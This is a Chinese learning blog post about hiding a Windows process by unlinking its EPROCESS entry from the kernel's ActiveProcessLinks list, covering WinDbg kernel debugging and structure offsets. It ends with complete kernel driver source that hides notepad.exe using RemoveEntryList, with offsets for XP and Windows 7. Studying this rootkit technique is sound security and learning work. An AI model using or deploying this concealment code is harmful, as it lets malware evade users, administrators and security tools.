大家好,欢迎来到IT知识分享网。
断链隐藏进程
博主菜鸟一个,文中不当的地方欢迎师傅们指正。
一.前言:
有日子没写博客了,主要前几周太太太忙了,这周仔细研究了一下进程的隐藏,首先去了解了一下隐藏进程的各种方法,其实有很多方法很多也很杂,然后有些隐藏只是能躲过任务管理器还有ntdll里面ZwQuerySystemInformation函数(枚举进程的函数),然后通过一些暴力的枚举方法还是会露馅,就总结一些常见的吧:
1.比较简单的即是内核中映射的进程列表进行断链操作,此处是一个双链表(后文会详细赘述)
2.其次就是修改内核映射中的EPROCESS中对应的pid,也能实现隐藏
3.然后就是对于DriveObject信息的抹除(没看懂,系统学内核了再复现)
而本文也是就第一种方法展开复现,来进行进程的隐藏。
二.踩坑:
首先,我们知道,进程体EPROCESS是被系统维护在一个双向链表LIST_ENTRY中的,那么,我们只要把进程的EPROCESS从这个链表中摘除,就可以实现进程隐藏了,当然,这只能瞒过进程管理器和ntdll中的zwQuerySystemInformation,暴力枚举依旧可以发现断链隐藏的进程,因为进程体还在内存中。
然后开始进行断链操作,借助windbg实现操作,网上很多关于windbg使用的教学都是老版本的,然后微软好像22年就开始禁用了离线符号包的下载使用了,我在本机上下载了老版本的windbg,在配置符号文件的时候一直卡着过不去。
一开始使用的时候,先附加了需要隐藏的一个进程,输入命令dt _eprocess
,一开始看到了eprocess 的结构,没意识到犯了很严重的错误(后续文章中会讲述)。
直到后面查看内核映射中的进程列表信息的时候才意识到有点蠢,继续输入命令! process 0 0
,开始出现最头疼的报错了
然后一直搜一直搜,搜到了问题是得修复一下ntdll的符号文件,然后这个符号文件一般是可以进行离线下载的,但是按照网上说的设置符号下载位置的方法srv*yourpath*http://msdl.microsoft.com/download/symbols
,设置完成之后我们重启计算机,用windbg 附加一个进程来下载符号,然后还是不太好使!
然后我就搜到了这个。。。
不甘心没有,然后进了上述命令中的http://msdl.microsoft.com/download/symbols地址一探究竟,然后我就放弃了。。。
遇到困难了,问学长要了一份XP系统的克隆文件(学长配置好的就是香),同时也得到了一份老版windbg的32位和64位安装包,以及最最重要的符号文件!!!
三.正文开始
1.严重错误剖析
开始在XP上进行实验,正常的安装windbg和下载符号文件(打包成exe太爽了)之后,开始进行调试。
?!woc,换了个方式又报了个错,然后搜了一下,感觉有被自己蠢到,发现了上文中所说的严重错误,体会到了再没熟悉windbg使用就瞎敲命令的下场:
windbg命令分为标准命令(40个左右),元命令(一百多个)和扩展命令。
标准命令提供最基本的调试功能,不区分大小写。如:bp g dt dv k等
元命令提供标准命令没有提供的功能,也内建在调试引擎中,以.开头。如.sympath .reload等
扩展命令用于扩展某一方面的调试功能,实现在动态加载的扩展模块中,以!开头。如!analyze等
每个调试命令都各有使用范围,有些命令只能用于内核调试,有些命令只能用于用户调试,有些命令只能用于活动调试。但用户也不必记得这许多,一旦在某个环境下,使用了不被支持的命令,都会显示“No export XXX found”的字样。就拿!process命令来说吧,它显示进程信息,但只能用于内核调试中,如果在用户调试中使用,就是下面的情景:
0:001> ! process 0 0 No export process found
所以,在使用windbg进行调试的时候,一定要搞清楚你是在那种模式下进行调试,还是那句老话,在使用之前,你要清楚你自己在干什么。关闭windbg之后,重新启动并切换windbg模式至内核debug
选至本地:
然后你就会惊奇的发现左下角的开头变了:(lkd也算是内核调试的标志了)
输入命令! process 0 0
,即可看到进程列表
2.真正的正文开始
首先我们遇到两个问题:
1.既然要遍历链表,我们就要知道每个结构的前后结构;
2.既然要对比进程名,我们就要知道进程名放在哪个地方;
先查看一手该版本系统下的eporcess结构体中各项数值的偏移量(基于windows的版本不同各有偏差,并不唯一)
输入命令dt _eprocess
,主要查看下图中标记的两处位置的偏移量
(1). ActiveProcessLinks
EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。(可以看成双链表中的一个节点地址,而此节点中分别存储的是该进程在链表中的上下进程的指针地址)
紧接着输入命令dt _LIST_ENTRY
,查看LIST_ENTRY的结构
可以看到变量FLink和BLink,FLink指向当前节点的后一个节点的ActiveProcessLinks地址,BLink指向当前结点的前一个节点的ActiveProcessLinks地址,这块儿的两个地址一定别记反,后面即是通过他们来找到锁定进程的上下进程的。
(2).ImageFileName
在上上图中,我们可以看到在偏移0x174处,出现了ImageFileName,这里存的就是我们要找的进程名。
接着再输入一遍命令! process 0 0
,随便选择一个进程,这里选择 vmtoolsd.exe,注意记住它的上下邻接进程
然后查看该进程的eprocess,输入命令dt _eprocess 85f5ab28
,可看出 ActiveProcessLinks 处由两个数值相减,相比他们就是上文中提到的变量FLink和BLink吧,然后反复思考,一个进程的ActiveProcessLinks由两个变量组成,双指针,那尾减去头一定就是本身的地址了。故下图中0x85f42e28应该是BLink,而0x85f34ca0也就是FLink,分别指向当前结点的前后两个节点的ActiveProcessLinks地址。
OK,那么事情已经明了了,进程被映射到内核之中后被列举成了这一串双链表,而我们只需要摘除掉其中的那个目标就行,也就是说需要通过检索到的目标进程之后,通过它的eprocess中的ActiveProcessLinks进而实现断链操作,所以我们现在要做的就是通过ActiveProcessLinks中存储的两个值,访问到应该在进程链表中排与目标进程前后的两个进程的eprocess。
1.按着上图中的例子走,先试着访问一手目标进程后面的进程是啥,输入命令dd 0x85f34ca0
,查看地址0x85f34ca0中的内容
已知0x85f34ca0中存储的是指向目标进程的下一个进程的ActiveProcessLinks信息,再由上文中总结出来的“后减前原则”,故可知
85f3b688中存储的是后一个进程再后一个进程的ActiveProcessLinks,而85f5abb0中存储的是前一个进程(此时也就是我们的目标进程的ActiveProcessLinks),不信可以输入命令dd 0x85f5abb0
进行如下验证:(对照上上图中目标进程的ActiveProcessLinks的值即可)
注意,因为FLink指向当前节点的后一个节点的ActiveProcessLinks地址,所以后一个节点的EPROCESS地址为ActiveProcessLinks地址中的(0x85f34ca0)减去偏移0x88,成功。
2.同理,这块采用比较笨的方法进行运算,因为我对地址偏移的操作还不太那么熟悉,那么我只要拿到了目标进程中指向前一个进程ActiveProcessLinks的地址,然后输入命令dd 0x85f42e28
,再拿出前一个进程中指向再前一个进程的ActiveProcessLinks的地址中的指向后一个进程的FLink,在用这个Flink地址-0x88,故可得到结果:
综上所述,我们已经由已知的目标进程求出了起前后两个进程的eprocess,接下来直接进行断链操作即可,然后实现对于进程的隐藏,贴出大佬的脚本如下:(我还没写过驱动程序,所以脚本的复现还没进行)
#ifndef CXX_HIDEPROCESS_H # include "HideProcess.h" #endif ULONG_PTR ActiveOffsetPre = 0; ULONG_PTR ActiveOffsetNext = 0; ULONG_PTR ImageName = 0; WIN_VERSION WinVersion = WINDOWS_UNKNOW; PLIST_ENTRY Temp = NULL; PLIST_ENTRY HeadEntry = NULL; NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath) {
DbgPrint("DriverEntry\r\n"); DriverObject->DriverUnload = UnloadDriver; WinVersion = GetWindowsVersion(); switch(WinVersion) {
case WINDOWS_XP: //32Bits {
ActiveOffsetPre = 0x8c; ActiveOffsetNext = 0x88; ImageName = 0x174; break; } case WINDOWS_7: //64Bits {
ActiveOffsetPre = 0x190; ActiveOffsetNext = 0x188; ImageName = 0x2e0; break; } } HideProcess("notepad.exe"); HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中执行得到的才是System进程 return STATUS_SUCCESS; } VOID HideProcess(char* ProcessName) {
PEPROCESS EProcessCurrent = NULL; PEPROCESS EProcessPre = NULL; EProcessCurrent = PsGetCurrentProcess(); //System EProcess EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext); //DbgPrint("EProcessCurrent: 0x%p\r\n",EProcessCurrent); //DbgPrint("EProcessNext: 0x%p\r\n",EProcessNext); while (EProcessCurrent!=EProcessPre) {
// DbgPrint("%s\r\n",(char*)((ULONG_PTR)EProcessCurrent+ImageName)); if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0) {
Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext); if (MmIsAddressValid(Temp)) {
// Temp->Blink->Flink = Temp->Flink; // Temp->Flink->Blink = Temp->Blink; //数据结构 不稳定 RemoveEntryList(Temp); } break; } EProcessCurrent = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext)))-ActiveOffsetNext); } } VOID UnloadDriver(PDRIVER_OBJECT DriverObject) {
ResumeProcess(); DbgPrint("UnloadDriver\r\n"); } VOID ResumeProcess() {
if(Temp!=NULL) {
InsertHeadList(HeadEntry,Temp); } } WIN_VERSION GetWindowsVersion() {
RTL_OSVERSIONINFOEXW osverInfo = {
sizeof(osverInfo)}; pfnRtlGetVersion RtlGetVersion = NULL; WIN_VERSION WinVersion; WCHAR wzRtlGetVersion[] = L"RtlGetVersion"; RtlGetVersion = GetFunctionAddressByName(wzRtlGetVersion); //Ntoskrnl.exe 导出表 if (RtlGetVersion) {
RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); } else {
PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL); //Documet } DbgPrint("Build Number: %d\r\n", osverInfo.dwBuildNumber); if (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1) {
DbgPrint("WINDOWS_XP\r\n"); WinVersion = WINDOWS_XP; } else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1) {
DbgPrint("WINDOWS 7\r\n"); WinVersion = WINDOWS_7; } else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 2 && osverInfo.dwBuildNumber == 9200) {
DbgPrint("WINDOWS 8\r\n"); WinVersion = WINDOWS_8; } else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 3 && osverInfo.dwBuildNumber == 9600) {
DbgPrint("WINDOWS 8.1\r\n"); WinVersion = WINDOWS_8_1; } else {
DbgPrint("WINDOWS_UNKNOW\r\n"); WinVersion = WINDOWS_UNKNOW; } return WinVersion; } PVOID GetFunctionAddressByName(WCHAR *wzFunction) {
UNICODE_STRING uniFunction; PVOID AddrBase = NULL; if (wzFunction && wcslen(wzFunction) > 0) {
RtlInitUnicodeString(&uniFunction, wzFunction); //常量指针 AddrBase = MmGetSystemRoutineAddress(&uniFunction); //在System 进程 第一个模块 Ntosknrl.exe ExportTable } return AddrBase; }
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/149409.html